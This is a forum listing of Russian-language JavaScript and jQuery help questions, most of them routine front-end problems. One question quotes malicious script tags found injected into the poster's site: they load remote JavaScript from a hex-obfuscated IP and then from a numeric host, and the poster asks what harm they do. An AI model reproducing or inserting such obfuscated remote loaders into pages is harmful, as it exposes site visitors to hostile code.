JavaScript
A programming language that conforms to the ECMAScript specification
Explore Questions
There are no popular questions to show right now
-
0 votes1 answer
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes0 answers
4,723 questions in this forum
-
jQuery, функция animate(), рекурсия
Здравствуйте! Есть некая игра (что-то наподобе шахмат), для которой на jQuery пишу "плейер". Плейер предназначен для того, чтобы показывать "запись" игры. Игра на двух человек, сначала ходит фигура одного игрока, потом другого, и т.д. Плейеру скармливаются все ходы в игре, он в соответствие с этими ходами перемещает фигуры на экране. Перемещение фигур должно поисходить так: движется одна фигура, когда она закончила движение, должна перемещаться следующая, и т.д. В jQuery есть функция animate(), в последнем параметре которой можно указать "конечную" функцию, которая вызывается в конце движения фигуры. Я могу указывать в качестве конечной функции метод начала обработки ново…
0 votes1 answer -
Слайдер не работает в IE7,8 и Opera
Привет всем. Есть сайт, горизонтальная прокрутка со стрелками не работает в IE7, IE8, Opera. Версия Jquery 1.4.4, если к примеру подключать версию 1.3.2 (как это в оригинальном плагине) то по идее должно всё работать, но у меня лезут ошибки.. Помогите разобраться пожалуйста.
0 votes4 answers -
Проверка массива.
20 | _0 | _1 | _2 | _3 | 21 | _4 | _5 | _6 | _7 | 22 | _8 | _9 | 10 | 11 | 23 | 12 | 13 | 14 | 15 | __ | 16 | 17 | 18 | 19 | Эта схема показывает всю страницу)) от 0 до 15 это элементы массива, которые при нажатии могут принимать значение 0 или 1, 0 включена 1 выключена 16-23 элементы того же массива, тоже могут быть 0 или 1 но дополнительно могут быть входами и выходами. Как работает, если включаю 0, то 20 и 16 соединяются. Если 20 и 16 входы то выдается предупреждение, уверены ли вы... in1 это элемент 20 Out1 это элемент 16 if (document.getElementById('in1').innerHTML == document.getElementById('Out1').innerHTML) { tt += 1; } if (tt > 0) { if (confirm(v…
0 votes10 answers -
Иконка на картинке
Здравствуйте, Нужна помощь, сам не справился =\. Есть страничка с картинками. Необходимо выбрать картинки определённого имени или ИД, и добавить к ним в нижнем правом углу иконку "Увеличить". Вот собственно и все дела =). Пробовал вычислять кординаты картинок, затем создавать див ( position:absolute ) с иконкой лупы и передвигать его на нужные кординаты страницы. К сожалению это не всегда правильно отображалось. Надо бы эти дивы создавать внутри самой картинки а не в таге <body>. А как мне создать или подкрепить див к картинке я не знаю =\. Помогите пожалуйста. Еслиб дело было с дивами то я бы просто изменял его innerHTML, в начале добавлял бы див, передвигал его н…
0 votes6 answers -
HTML-теги отображаются текстом
Здравствуйте! Постараюсь вкратце обрисовать проблему. Имеется два php-скрипта: index.php и ask.php. В index.php имеется форма, юзер заполняет ее - и при помощи MooTools Request.HTML данные из формы отправляются в ask.php. Без перезагрузки страницы (!) - т.е. на AJAX. В ask.php генерится определенный html-код (фактически, текст, разделенный тегами br) и возвращается в исходный сценарий: Формируется определенными преобразованиями переменная $answer, выполняется $answer = str_replace( array('<', '>'), array('<', '>'), $answer);, выводится echo $answer; Далее, при помощи JS, полученный ответ отображается в браузере (серия команд а-ля $('result').set('text', 'тек…
0 votes1 answer -
Растягивание и сжимание фона
Добрый день! Есть div. #wrapper { margin: 0 auto; max-width: 1600px; width: 98%; } Необходимо в него запихнуть фон, но таким образом, что бы он растягивался и сжимался пропорционально!!! Нашел несколько решений, но фон либо обрезается, либо сжимается не пропорционально... Помоги, пожалуйста. Заранее спасибо!
0 votes7 answers -
Поведение скрипта в ие
Добрый день. Такая проблема, на странице регистрации есть чекбокс "Создать учетную запись?". При отключение убираются поля логин и пароль. Все бы хорошо но в ие (пробовал 7 и 8 ) Они убираются только после еще одного щелчка на странице. При том в других браузерах все нормально. http://smart.gitcom.ru/index.php?option=co...on&Itemid=5 Код чекбокса <div class="formLabel"> <input type="checkbox" id="register_account" name="register_account" value="1" class="inputbox" onchange="showFields( this.checked, new Array(\'username\', \'password\', \'password2\') );if( this.checked ) { document.adminForm.remember.value=\'yes\'; } else { document.adminForm.remember.valu…
0 votes2 answers -
jQuery tooltip plugin, help!
В общем скрипт работает, все отлично. Только, он работает на одом изображение, хотя id(tonus) скрипта, всем изображениям присвоен. Помогите, в чем может быть проблема? вот оф.пример ( _http://jquery.bassistance.de/tooltip/demo/ ) _http://profshopping.ru/index.php?search=1&categoryID=347
0 votes1 answer -
Изменение zoomi
Помогите решить, проблему с zoomi.js // zoomi - A zoom for images ~ Sean Catchpole - Version 0.9 (function($){ $.fn.zoomi = function() { $(this).filter("img").each(function(){ if(!this.z) { $(this).zoom1().mouseover(function(){$(this).zoom2().show();}); $(this.z).mouseout(function(){$(this).hide();}); } }); return this; } $.fn.zoom1 = function() { $(this).each(function(){ var e = this; $(e).css({'position':'relative','z-index':'8'}).after('<img class="'+e.className+'">'); e.z = e.nextSibling; $(e.z).removeClass("zoomi").addClass("zoom2").attr("src",e.alt || e.src) .css({'position':'absolute','z-index':'10'}); $(e.z).hide(); }); return this…
0 votes2 answers -
drag & drop jquery
Не могу понять как на квери сделать ползунок для скролла и боги гугла чтото не благосклонны к моим запросам Подскажите кто знает пс целую библиотеку квери UI с плагином drag & drop не хочется подключать ради одного метода
0 votes6 answers -
jQuery + Mootools: noConflict
К сожалению, я один из тех, кто столкнулся с такой редкой проблемой.. Суть в том, что только на MooTools мне удалось найти необходимый для меня слайдер. В то время как jQuery использует: меню, модальные окна, табы и галерею. Поэтому подружить их - моя первоочередная задача. Единственный выход из положения - jQuery.noConflict(); - но вот как им воспользоваться я так и не понял. Я уже по всякому вызывал этот скрипт, но ничего не изменилось. <script type="text/javascript" src="jquery/jquery.js"></script> <script type="text/javascript" src="js/script.js"></script> <script type="text/javascript">jQuery.noConflict();</script> <script type=…
0 votes3 answers -
Динамичная замена div
Добрый день, уважаемые. Прошу помощи, т.к. сам далековат от яваскрипт и вообще верстки, но возникла экстренная необходимость это использовать. Описание: есть пункты меню (гифы), под которыми находится скрытый (до поры-до времени) див. При наведении на картинку (в зависимости от картинки) в этом диве отображается нужная инфа. Собственно реализация есть на vtb.ru, но код там слишком сложный, увы, разобраться не смог
0 votes4 answers -
Объясните неучу
Пример. Хочу чтобы при наведение на фото, свойство opacity постепенно изменялось до 0, а если убрать мышь то возвращалось к исходному значению. Часть скрипта скопипасил с других ресурсов, поэтому сам понимаю его процентов на 90%. В частности зачем передавать event как аргумент в функцию opacityDown()? Если аккуратно то все нормально, но если быстро водить мышкой то не успевает отрабатывать. Где я просчитался? window.onload = function ready(){ var menuLi = document.getElementById('list').getElementsByTagName('li'); var fotoLi = document.getElementById('screenshot').getElementsByTagName('li'); for(var i=0;i<fotoLi.length;i++){ fotoLi[i].onmouseover=function opacity…
0 votes1 answer -
Подключение нескольких jQuery
Может быть не совсем по теме Есть страница к ней подключается jQuery и отключить его нельзя так как от него зависит другой код. Так же на странице есть код которому нужен тоже jQuery но новой версии при старой он не работает. Не работает и если подключать два сразу. Вопрос: возможно ли их изолировать JS, чтобы к некоторому коду на странице подключались только нужные js?
0 votes8 answers -
Новая страница + JQuery.show по одному клику
Помогите, не могу сообразить, как сделать. Есть несколько страниц, на всех есть один див #catalogue_extended с ссылкой на Каталог. Есть также меню сайта, тоже с ссылкой на каталог. Страница Каталог в двух состояниях: начальное и со всплывающим окошком, див #cat_popup. Так вот, нужно, чтобы когда ходишь по меню, Каталог открывался без попапа, а когда кликаешь на див #catalogue_extended, то Каталог нужно открыть, показывая попап. Делаю так: $("#catalogue_extended").click($(document).ready(function(){$("#cat_popup").show()})); - при навигации по меню Каталог открывается с попапом...
0 votes10 answers -
Функция disable для нескольких checkbox
На страницу в цикле выводится 10 форм с новостями. Каждая форма имеет свой уникальный ID и содержит в себе 4 checkbox. - удалить - опубликовать (это checkbox отмечен тегом checked) - на главную - инфо Задача у меня следующая: при нажатии на checkbox "УДАЛИТЬ" - остальные checkbox'ы деактивируются. Только нужно сделать это в пределах одной формы.
0 votes2 answers -
Смена фона при наведении на ссылку
Задача: Есть слой в котором есть 2 ссылки. В зависимости от того на какую ссылку наводим меняется фон этого слоя. Знания в JS нет. Поискал в Интернете решения, но либо не подходили, либо не работали. Помогите подправить или может кто-то предложит другой вариант На данный момент имеется. HTML: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Test</title> </head> <body> <script type="text/javascript"> document.getEl…
0 votes8 answers -
Помогите написать небольшой Java-script
Народ у меня такая проблема!!! Я изучаю PHP+MySQL и довольно далеко продвинулся, но тут возникла необходимость сделать Java функцию так, что если у вас есть желание помочь мне с конкретным вопросом прошу читайте дальше. Так как не охота перебирать кучу литературы, а примеров по этому поводу нет, проблема заключаеться в следующим=) У меня есть массив значений допусти Mass = ["a" "b" "c" "d" "e" "f"] А на странице три выпадающих списка и нужно сделать так чтоб все значения этого массива вошли в первый выпадающий список, затем допустим клиент выбирает в первом списке значение "a", следовательно генерируеться Mass1 = Mass вот такого вида ["b" "c" "d" "e" "f"] уже без элем…
0 votes1 answer -
className в ИЕ6 и 7 работает странно
Здравствуйте. На страничке есть такой код: <a href="#" class="pause" onclick="if (this.className == 'pause'){this.className = 'pauseActive';} else {this.className = 'pause';}; return false"></a> Соответсвенно к этой строке есть два класса pause и pauseActive. По клику должен меняться класс с pause на pauseActive, а при следующем обратно. Везде работает, кроме ИЕ6 и 7. В них почему-то происходит смена класса один раз с pause на pauseActive, а обратно уже нет. Посоветуйте, почему так происходит и что можно сделать при условии, что надо как-то обойтись без id ??
0 votes6 answers -
параметр disabled
нашёл то, что хотел но как в этом коде: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <title>Блокировка поля</title> <script type="text/javascript"> function agreeForm(f) { // Если поставлен флажок, снимаем блокирование кнопки if (f.agree.checked) f.submit.disabled = 0 // В противном случае вновь блокируем кнопку else f.submit.disabled = 1 } </script> </head> <body> <form action="handler.php"> <p><textarea cols="30" rows="4" readonly> Ти…
0 votes12 answers -
Некий вредоносный код
Google Chrome ругается на сайт и говорит, что он содержит данные с другого сайта, содержащий вредоносный код. На самом сайте в конце главной страницы обнаружил следующий код: <script src=http://0x4d.0xf2.0x00.0x0c/ad.js></script></script> В шестнадцатеричном виде написан ip-сайта 77.242.0.12. Перейдя по ссылке и открыв файл с js-кодом увидел следующее: <script>document.write('<script src=http:\/\/5602672652\/.../><\/script>');</script> Оставим вопрос о том, что кто-то мог внедриться на сайт и внести в его страницы эту бяку. Интересует, чем этот код вреден и что плохого он может сделать?
0 votes3 answers -
Простой вопрос по jQuery
В книге по jquery вычитал следующее: чтобы получить доступ к определённому элементу обёрнутого набора нужно написать так: $('.clssdiv')[0] и якобы произайдёт отбор только первого элемента из отобранных. Так вот пробую так сделать, но не получается вот пример с кодом. Может я что-то не так понял, подсажите как отобрать например 2 или 3 из набора?
0 votes12 answers -
Картинки появляются при прокрутке страницы
Здравствуйте Встретил такой эффект на одном сайте, проанализировал все js-скрипты ничего такого нет. Как это реализованно? Очень приятно глазу. Ссылка на сайт (в контенте картинки)
0 votes2 answers -
jQuery animate css (ширина) и IE
Есть блок, id='xxx' CSS: display:block; width:0px; height:4px; background:#808080; position:fixed; Далее <script type="text/javascript"> $(document).ready(function(){ $("#xxx").animate({ width:"182px", }, 5000); }); </script> Не ратотает в IE (6 версия не интересует). <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> И IE ругается. Что делать?
0 votes2 answers -
Конфликт счетчика Bigmir и SM FAQ (Joomla)
В общем, конфликт обнаруживается именно на странице где выводится модуль SM FAQ, как раз тут не выводится счетчик бигмир. Firebug в этом месте ловит 1 ошибку java script: f is undefined for(var f=self;f!=f.parent;f=f.parent)bm.w++; Подскажите как тут или исправить или, может, обойти можно? Собственных знаний к сожалению не хватает пока.
0 votes12 answers